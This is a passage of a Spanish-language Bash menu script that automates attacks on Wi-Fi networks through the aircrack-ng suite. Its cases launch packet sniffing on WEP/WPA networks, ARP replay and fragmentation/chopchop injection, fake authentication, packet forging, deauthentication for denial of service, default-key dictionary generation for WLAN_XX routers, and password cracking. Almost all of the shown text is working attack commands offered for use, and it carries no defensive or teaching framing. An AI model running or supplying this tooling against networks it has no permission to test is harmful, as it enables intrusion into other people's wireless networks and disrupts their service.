echo "13. Lanzar Aireplay-ng para inyectar el paquete creado"
echo "14. Lanzar Aireplay-ng para realizar una denegacion "
echo "15. Crear un diccionario para redes WLAN_XX"
echo "16. Lanzar Aircrack-ng para crackear la password"
echo "17. Lanzar Aircrack-ng PTW para crackear la password"
echo "18. Lanzar Aircrack-ng para crackear una password WLAN_XX"
echo "19. Cambiar Mac Asociada"
echo "20. Probar Si la tarjeta Inyecta correctamente"
echo "21. Modificar la sensibilidad de la tarjeta"
echo "22. Salir"
echo ""
echo "Elige una opcion"
read opt

case $opt in
1) xterm -geometry 90x15+500+0 -fg yellow -bg black -hold -title "Esnifando paquetes" -e airodump-ng $monitor -a --encrypt wep -w temp &;;
2) xterm -geometry 90x15+500+0 -fg yellow -bg black -hold -title "Esnifando paquetes" -e airodump-ng $monitor -a --encrypt wpa -w temp &;;
3) cat  temp-01.csv | awk '{print $1,$20,$6}' >> temp-00001.csv;
clear;
cat temp-00001.csv;
echo "Selecciona el Bssid";
read macap;
echo "Selecciona el Essid"
read nombreap
echo "Selecciona Canal";
read canal;
killall xterm;
rm temp-*;;
4) xterm -hold -geometry 90x15+500+0 -fg yellow -bg black -title "Esnifando Paquetes" -e airodump-ng $monitor -a --bssid $macap -c $canal -w out &;;
5) xterm -hold -geometry 90x15+500+200 -fg yellow -bg black -title "Ataque Selectivo" -e aireplay-ng -2 -p 0841 -m 68 -n 86 -c FF:FF:FF:FF:FF:FF -b $macap -h $mimac $monitor &;;
6) xterm -hold -geometry 90x15+500+200 -fg yellow -bg black -title "Inyectando Arp" -e aireplay-ng -3 -b $macap -h $mimac $monitor &;;
7) xterm -geometry 90x15+0+0 -fg yellow -bg black -title "Asociando a $nombreap" -e aireplay-ng -1 0 -a $macap -h $mimac $monitor &;;
8) xterm -geometry 90x15+0+200 -fg yellow -bg black -title "Asociando a $nombreap" -e aireplay-ng -1 6000 -o 1 -q 10 -a $macap -h $mimac $monitor &;;
9) echo "Seleccina el numero de paquetes para la autenticacion";
read num;
xterm -geometry 90x15+0+200 -fg yellow -bg black -title "Asociando a $nombreap con $num paquetes" -e aireplay-ng -1 0 -a $macap -h $mimac -o $num $monitor &;;
10) xterm -geometry 90x15+500+400 -fg yellow -bg black -title "Creando XOR" -e aireplay-ng -4 -b $macap -h $mimac $monitor &;;
11) xterm -geometry 90x15+500+400 -fg yellow -bg black -title "Creando XOR" -e aireplay-ng -5 -b $macap -h $mimac $monitor &;;
12) packetforge-ng -0 -a $macap -h $mimac -k 255.255.255.255 -l 255.255.255.255 -y *.xor -w arp-request &;;
13) xterm -geometry 90x15+500+400 -fg yellow -bg black -hold -title "Inyectando Paquete especial" -e aireplay-ng -2 -r arp-request -h $mimac $monitor &;;
14) xterm -geometry 90x15+0+200 -fg yellow -bg black -title "Deautenticando a $mimac" -e aireplay-ng -0 1 -a $macap -c $mimac $monitor &;;
15) xterm -e wlandecrypter $macap $nombreap $nombreap.diccionario;;
16) xterm -geometry 90x15+0+400 -fg yellow -bg black -hold -title "Crackeando $nombreap" -e aircrack-ng -a 1 *.cap;;
17) xterm -geometry 90x15+0+400 -fg yellow -bg black -hold -title "Crackeando $nombreap" -e aircrack-ng -a 1 -P 2 *.cap;;
18) xterm -geometry 90x15+0+400 -fg yellow -bg black -hold -title "Crackeando $nombreap" -e aircrack-ng -a 1 *.cap -w $nombreap.diccionario;;
19) echo "Escribe la nueva Mac Asociada";
read mimac;;
20) xterm -geometry 90x15+0+400 -fg yellow -bg black -hold -title "Probando Inyeccion" -e aireplay-ng -9 -a $macap -e $nombreap $monitor &;;
21) echo "Selecciona la sensibilidad";
echo "1M Mayor sensibilidad o 54M Mayor alcance";
read sens;
iwconfig $monitor rate $sens;;
22) exit 1;;
*) echo "la opcion $opt no es valida, usa una entre 1 - 22";
echo "Presiona enter para continuar"
read enterKey;;
esac
done